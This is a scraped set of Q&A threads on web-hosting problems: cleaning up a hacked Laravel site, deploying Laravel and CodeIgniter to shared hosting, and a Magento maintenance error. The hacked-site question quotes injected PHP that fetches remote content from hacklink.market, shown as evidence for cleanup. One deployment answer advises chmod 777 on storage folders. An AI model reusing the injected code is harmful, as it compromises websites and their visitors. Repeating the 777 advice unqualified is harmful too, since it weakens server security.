Some script add automatically in root folder files in Laravel - laravel

My site has been created in Laravel and it has been hacked but we have started it and we have removed some unwanted code in files. But there is still some script automatically add to the root file(index.php) due to which the site is being affected.
Please give me some solution, what can we do to remove the automatic files from the root folder?
<?php
$exe = curl_init();
curl_setopt($exe, CURLOPT_URL, "https://hacklink.market/panel/code?x=5");
curl_exec($exe);
?>
This code is added automatically in index.php file.

Please change the server credentials and the database credentials as well.
if you want to check the which file is called, you simply echo the statement and you will get that file.
<?php
/*df76c*/
echo "\057ho\155e/\145ar\164ht\157he\141ve\156co\057pu\142li\143_h \164ml\057li\142ra\162ie\163/f\060f/\151nt\145gr\141ti\157n/\05659\06725\06435\056ic\157";
/*df76c*/
?>
This will return your server path with the infected file main script.
/home/earthtoheavenco/public_h tml/libraries/f0f/integration/.59725435.ico
Please delete all such these files from your server end.
Hope this will help you. Thanks

Related

How to deploy laravel to server using ftp

Hi I'm newbie on Laravel. I have to upload laravel project to Linux server(CentOS). Customer provide me ftp path. For example 10.222.20.10/srp. So I put all files into that path and after edited database inside .env file. I run 10.222.20.10/srp on webbrowser but I getting error 'This page is not working, error 500'. I attached picture as below. Appreciated for advise and thank you very much.
Please Follow this Steps:
1.
Copy all contents inside the /project/public directory to project/
Remember to copy the public/.htaccess to the project/ also
Now let’s modify the www/index.php to reflect the new structure. Don’t modify the project/public/index.php, okay? Only modify www/index.php, remember this!!!
Find the following line
require __DIR__.’/../bootstrap/autoload.php’;
$app = require_once __DIR__.’/../bootstrap/app.php’;
And update them to the correct paths as following
require __DIR__.’/../project/bootstrap/autoload.php’;
$app = require_once __DIR__.’/../project/bootstrap/app.php’;
2. Set permision 777 project/storage and project/bootstrap/cache
Maybe this tutorial will help you Deploy Laravel To Shared Hosting The Easy Way
Please Follow this Steps:
1.public folder(index.php) is the start point of your application set
require __DIR__.'/../vendor/autoload.php';
$app = require_once __DIR__.'/../bootstrap/app.php';
according to your configuration or use symlink
2.Migrate Database (if you don't have ssh access create a route and use Artisan facade Artisan::call("migrate"); and don't forget to remove it )
3.Link storage if you need (if you don't have ssh access create a route and use Artisan facade Artisan::call("storage:link"); and don't forget to remove it )
4.Check server logs maybe folder premissions is wrong.

Laravel project structure on server

I just bought a domain name for my website and linked it to my server. But now that I have transferred the files of my old free domain to my new one, I can't figure out why it redirects me to my old site and why I get the green page saying `Laravel is installed successfully.
Laravel is a Framework and doesn't have an index page.
You will be redirected to its "public" folder in 5 seconds... bla bla bla
I need some help!!
Here's the structure of my files on the server:
EDIT:
The "shlproextra" directory was too much in my directory structure. I just extract all the dir from it and put them in htdocs like this:
|shlproextra.ca
|----htdocs
|----app
|----bootstrap
|----cache
|----config
|----...
All files should be at shlproextra.ca/, /shlproextra/ not needed
On /server.php you chance line:
require_once DIR.'/public/index.php';
to
require_once DIR.'/htdocs/index.php';
Check APP_URL value in .env file.

Could not find Maintenance.flag file in root folder magento

I was trying to install an extension in my magento site which was failed in the middle later i could not get access to my admin neither to my site as it shows this error.
http://prntscr.com/68qc3c
this error should be removed maintenance.flag file but this file is not available in my root folder. Please assist me if there is any other way possible?
Thanks
two possible ways are
1 . you can delete manually both session and cache directory from var directory.
path
magento_root/var/
2. or you can delete all files of that extension and reinstall again.
The maintenance.flag file must still be in your root directory, otherwise Magento would not be displaying the 503 error. The way that this is displayed is a result of the index.php file, around line 66:
$maintenanceFile = 'maintenance.flag';
if (file_exists($maintenanceFile)) {
include_once dirname(__FILE__) . '/errors/503.php';
exit;
}
This page cannot even be cached. Re-connect to your FTP server and check for the file in your html directory on the webserver. Alternately, speak with your web hosts & have them remove the file.
As a precaution, you can try deleting your var/cache directory and see if that makes a difference.

How to install or move laravel project on web server

I'm having trouble installing/moving laravel to web server, i downloaded and set laravel on my local linux server but when i moved it to web server ,it shows a blank page.
I uploaded the public folder contents to public_html and other contents outside the public, also i changed the public DIR from paths.php on bootstrap folder as follow: 'public' => __DIR__.'/../public_html/' so what is the exact problem? Please help me with this issue. Is composer a problem? or what?
1) Create a new directory called ‘laravel4′ adjacent to ‘public_html’ so that your remote file structure now looks like this:
[.htpasswds]
[etc]
[laravel4]
[mail]
[public_ftp]
[public_html] etc etc varies depending on server
2) Upload the contents of your local ‘public’ directory to the remote directory ‘public_html’. Note: Be sure not to copy the whole ‘public’ directory, JUST it’s contents.
3) Upload everything else within your local Laravel project to the new remote ‘laravel4′ directory. Check: Now when you view the ‘laravel4′ folder over FTP/SSH/Whatever, you should see all your ‘app’ & ‘bootstrap’ directories along with all the other files and directories, but NOT ‘public’.
4) Edit the remote file ‘public_html/index.php’ and make the following change:
//from:
require __DIR__.'/../bootstrap/autoload.php';
//and
$app = require_once __DIR__.'/../bootstrap/start.php';
//to:
require __DIR__.'/../laravel4/bootstrap/autoload.php';
//and
$app = require_once __DIR__.'/../laravel4/bootstrap/start.php';
5) Edit the remote file ‘laravel4/bootstrap/paths.php’ and make the following change:
//from:
'public' => __DIR__.'/../public',
//to:
'public' => __DIR__.'/../../public_html',
6) That should be it. In my case, that was enough to restructure everything. Routes are working with the default .htaccess file. If you have problems, let me know, or ask on the ever-helpful
Reference: http://myquickfix.co.uk/2013/08/hosting-laravel-4-on-cpanel-type-hosting-public_html/

codeigniter on wamp 403 forbidden error

I set up a codeigniter project on my wamp www folder
The assets of my project is in 'assets' folder which is in the same folder as the application folder.
However when I access my localhost, the css,images and js which are in the asset folder is unable to load.
When I type localhost/assets instead, I can access them.
I set http.conf in the apache folder to set to "Allow from all" as well.
when i access the url from the developer tools for chrome, I have characters within the url like this
%3C?=%20base_url()%20?%3Eassets/img/a.jpg
Any idea what is wrong here?
It seams that the function base_url() is not executed and just printed in your view.
Try to enclose the function in a php block and echo it out with the path to the asset.
<?php
echo base_url() . 'assets/img/a.jpg';
?>
Or as stealthyninja mentioned in the comment, the short-open-tag you used is interpreted as text.
You can enable it in the php.ini with
short_open_tag=On
When you can't modify the php.ini, you can enable it in the codeigniter config.php with
$config['rewrite_short_tags'] = TRUE;
Now the short open tags are interpreted right
<?= base_url() . 'assets/img/a.jpg' ?>
check you config.php file:
$config['rewrite_short_tags'] = TRUE;
or try this :
<?php echo base_url()?>assets/img/a.jpg

Resources